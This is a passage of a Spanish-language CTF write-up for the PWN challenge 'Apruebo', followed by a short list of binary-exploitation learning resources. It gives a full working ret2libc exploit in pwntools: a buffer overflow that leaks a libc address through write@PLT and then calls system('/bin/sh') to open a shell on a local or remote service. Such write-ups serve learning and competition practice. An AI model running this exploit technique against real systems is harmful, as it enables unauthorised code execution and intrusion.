<p><a href="http://man7.org/linux/man-pages/man2/write.2.html">Aquí</a> tenemos la manual page de la función <code class="language-plaintext highlighter-rouge">write</code>. Podemos ver que la función requiere 3 parámetros: <code class="language-plaintext highlighter-rouge">int fd</code>, que en nuestro caso seria <code class="language-plaintext highlighter-rouge">1</code> ya que queremos que nos printee el output a <code class="language-plaintext highlighter-rouge">stdout</code>; luego tenemos lo que queremos printear, que aquí seria el contenido de <code class="language-plaintext highlighter-rouge">0x0804c00c (read@GOT)</code>, y luego tenemos la cantidad de bytes que queremos printear, en nuestro caso 4. Pero al llamar a <code class="language-plaintext highlighter-rouge">write</code> de esta manera, en un binario ya compilado, necesitamos un parámetro mas: el de la dirección de retorno. Esta es la direccion a la que queremos que vuelva la ejecución del binario luego de que llamemos a <code class="language-plaintext highlighter-rouge">write</code>. Queremos que sea un punto desde el que podamos retomar la explotación luego de haber conseguido las direcciones de libc, es decir, una dirección que nos lleve de nuevo a la función <code class="language-plaintext highlighter-rouge">vuln</code>, para retomar el flow del exploit. En este caso nos sirve algo tan simple como la dirección de <code class="language-plaintext highlighter-rouge">main</code>, ya que desde aqui se llama a <code class="language-plaintext highlighter-rouge">vuln</code> y sirve para nuestro propósito. Podemos hacer un simple <code class="language-plaintext highlighter-rouge">objdump -D apruebo | grep main</code> para obtener <code class="language-plaintext highlighter-rouge">0x080491a7</code>.</p>
<p>Tenemos entonces un poco mas formada nuestra llamada a <code class="language-plaintext highlighter-rouge">write</code> para leakear la direccion de libc, y con ella nuestro exploit va quedando asi:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./apruebo"</span><span class="p">)</span> <span class="c1"># Definimos el binario que vamos a explotar
#p = gdb.debug("./apruebo") # Muy util para debuggear
</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">140</span>
<span class="n">plt_write</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08049050</span><span class="p">)</span>
<span class="n">got_read</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0804c00c</span><span class="p">)</span>
<span class="n">main</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x080491a7</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">plt_write</span> <span class="o">+</span> <span class="n">main</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x01</span><span class="p">)</span> <span class="o">+</span> <span class="n">got_read</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x04</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>Todo tiene que estar en formato <code class="language-plaintext highlighter-rouge">little endian</code> y completado para los 4 bytes que caracterizan a los 32bits, por lo que usamos la función de pwntools <code class="language-plaintext highlighter-rouge">p32()</code> para convertir nuestras direcciones según estas necesidades.
Con esta payload ya deberiamos ser capaces de leakear la direccion de <code class="language-plaintext highlighter-rouge">read@libc</code>. Nos falta un poco de codigo para poder obtener e incorporar nuestro leak:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">leak</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">())</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"read@libc: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
</code></pre></div></div>
<p>Esto nos permite recibir el leak que nos da write y lo ponemos en un formato en el que lo podamos leer (hex()).</p>
<p>Si ejecutamos nuestro exploit varias veces, nos damos cuenta de que la dirección que leakeamos cambia cada vez. Ahora que tenemos la dirección de <code class="language-plaintext highlighter-rouge">read@libc</code> necesitamos calcular la dirección base de libc. Para hacer esto podemos usar la direccion de <code class="language-plaintext highlighter-rouge">read</code> en nuestra libc y restarsela a nuestro leak, para así llegar a la dirección base de libc.
Hacemos <code class="language-plaintext highlighter-rouge">ldd apruebo</code> para obtener el path de nuestra libc: <code class="language-plaintext highlighter-rouge">/lib/i386-linux-gnu/libc.so.6</code>. Ahora, para obtener la dirección de<code class="language-plaintext highlighter-rouge">read</code>, hacemos <code class="language-plaintext highlighter-rouge">readelf -s -t x /lib/i386-linux-gnu/libc.so.6 | grep read@</code> y buscamos la de <code class="language-plaintext highlighter-rouge">read@@GLIBC_2.0</code> obteniendo<code class="language-plaintext highlighter-rouge">0x000ea3a0</code>. Esta dirección puede variar dependiendo del sistema operativo o la versión de libc de cada uno.
La incorporamos a nuestro exploit y llevamos a cabo las operaciones necesarias para llegar a la direccion base de libc:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">libc_read</span> <span class="o">=</span> <span class="mh">0x000ea3a0</span>
<span class="n">libc_base</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">libc_read</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Base de libc: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">))</span>
</code></pre></div></div>
<p>Ahora que tenemos la direccion base de libc podemos pasar a la segunda etapa de nuestro exploit: llamar a <code class="language-plaintext highlighter-rouge">system</code> con <code class="language-plaintext highlighter-rouge">/bin/sh</code>. Para esto necesitamos las siguientes direcciones que pueden ser obtenidas mediante los siguientes comandos:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">system@libc</code> | Comando: <code class="language-plaintext highlighter-rouge">readelf -s -t x /lib/i386-linux-gnu/libc.so.6 | grep system</code>
Obtenemos <code class="language-plaintext highlighter-rouge">0x00042660</code></li>
<li><code class="language-plaintext highlighter-rouge">/bin/sh@libc</code> | Comando: <code class="language-plaintext highlighter-rouge">strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh</code>
Obtenemos <code class="language-plaintext highlighter-rouge">0x17ff68</code></li>
<li><code class="language-plaintext highlighter-rouge">exit@libc</code> | Comando: <code class="language-plaintext highlighter-rouge">readelf -s -t x /lib/i386-linux-gnu/libc.so.6 | grep exit</code>
Obtenemos <code class="language-plaintext highlighter-rouge">0x000356f0</code></li>
</ul>
<p>Ahora las incorporamos a nuestro exploit y hacemos los debidos cálculos para poder usarlas correctamente dentro de la ejecución de nuestro binario:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x00042660</span>
<span class="n">bin_sh</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x17ff68</span>
<span class="nb">exit</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x000356f0</span>
</code></pre></div></div>
<p>Y ahora es momento de lanzar nuestro segundo payload. Recordamos que al llamar a <code class="language-plaintext highlighter-rouge">write</code> para hacer el memory leak usamos a <code class="language-plaintext highlighter-rouge">main</code> como return address, por lo que es como si hubieramos corrido el binario de nuevo, es decir, tenemos que introducir nuestros 140 bytes de padding y todo como si fuese un exploit desde 0. El final de nuestro exploit queda así:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">system</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="nb">exit</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">bin_sh</span><span class="p">)</span> <span class="c1"># Aclaración del orden de los argumentos: system(ret addr, cmd)
</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Ahora corremos el exploit y… obtenemos una shell!!</p>
<p><img src="/assets/images/content/cuarentefa/localshell.png" alt="" /></p>
<p>Ya tenemos el challenge practicamente resuelto! Solo que lo hicimos localmente y, obviamente, no tenemos ninguna flag aquí :/.
Lo que faltaria seria correrlo remotamente, y para eso solamente hay que reemplazar las direcciones obtenidas de la libc (libc_read, libc_system, libc_binsh, libc_exit) con las que obtendriamos de la libc que se nos da con el challenge. Despues de eso bastaria modificar el exploit un poco para hacerlo correr en un servicio remoto, de la siguiente manera:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"x.x.x.x"</span><span class="p">,</span> <span class="mi">5555</span><span class="p">)</span>
</code></pre></div></div>
<p>Emulando el servicio localmente, como indicado al comienzo del writeup, vemos que conseguimos una shell:</p>
<p><img src="/assets/images/content/cuarentefa/remoteshell.png" alt="" /></p>
<p>El exploit final nos queda así:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="c1">#p = process("./apruebo")
#p = gdb.debug("./apruebo", "b main")
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"127.0.0.1"</span><span class="p">,</span> <span class="mi">5555</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">140</span>
<span class="n">plt_write</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08049050</span><span class="p">)</span>
<span class="n">got_read</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0804c00c</span><span class="p">)</span>
<span class="n">main</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x080491a7</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">plt_write</span> <span class="o">+</span> <span class="n">main</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x01</span><span class="p">)</span> <span class="o">+</span> <span class="n">got_read</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x04</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">())</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"read@libc: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">libc_read</span> <span class="o">=</span> <span class="mh">0x000ea3a0</span>
<span class="n">libc_base</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">libc_read</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Base de libc: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">))</span>
<span class="c1"># Direcciones de libc, al correr exploit remotamente
# recordar reemplazar por las del libc del challenge.
</span><span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x042660</span>
<span class="n">bin_sh</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x17ff68</span>
<span class="nb">exit</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x000356f0</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">system</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="nb">exit</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">bin_sh</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Gracias por dedicarle su tiempo a este challenge y a este writeup! Gracias tambien a los organizadores por el CTF, estuvo bueno! Se aprecia mucho el feedback, tienen aqui en la web algunas de mis redes sociales para contactarme, tambien estoy en los grupos de telegram como c4e así que cualquier duda o mensaje tambien pueden hablarme por ahi.</p>c4eAcá dejo mi writeup para el challenge “Apruebo” hecho por dplastico para el CTF CuarenTeFa del 21 de Marzo de 2020 organizado por L4tinHTB. El desafío pertenecía a la categoría PWN y tenia un valor de 300 puntos (súbanle el puntaje a PWN!), y fue resuelto solamente por dos participantes. En este writeup voy a explicar detalladamente todos los procesos por los que se tiene que pasar para lograr un exploit exitoso, introduciendo el ataque ret2libc, los memory leaks y como este funciona relacionado a la PLT y GOT.Binexp - PWN Resources2020-03-21T00:00:00-03:002020-03-21T00:00:00-03:00c4ebt.github.io/resources/2020/03/21/Binexp_Resources<p>Most of the writeups I will post will not be entry-level PWNs - and some people have asked for them - so here you have some resources to work your way up learning PWN.</p>
<p>You shouldn’t restrict yourself to this learning paths, these are just the resources I’ve used and simple recommendations.
Algunos videos estan en ingles, pero si les ponen subtitulos en español quedan joya ;)</p>
<ul>
<li><a href="https://youtu.be/1S0aBV-Waeo">Introduction to the Buffer Overflow concept</a></li>
<li><a href="https://youtu.be/iyAyN3GFM7A">Great series explaining multiple types of Buffer Overflows and what happens under the hood</a></li>
<li><a href="https://exploit.education/protostar/">Good Buffer Overflow practice</a></li>
<li><a href="https://ropemporium.com/">Introduction and practice of ROP Chains</a></li>
</ul>
<p>Overall just keep practicing with CTF challenges and reading writeups about new things :D</p>
<ul>
<li><a href="https://www.youtube.com/channel/UCnNuiL7pamGnII7m4OwM2lw/videos">Canal YouTube L4tinHTB - Varios videos relacionados a Buffer Overflows</a></li>
</ul>c4eMost of the writeups I will post will not be entry-level PWNs - and some people have asked for them - so here you have some resources to work your way up learning PWN.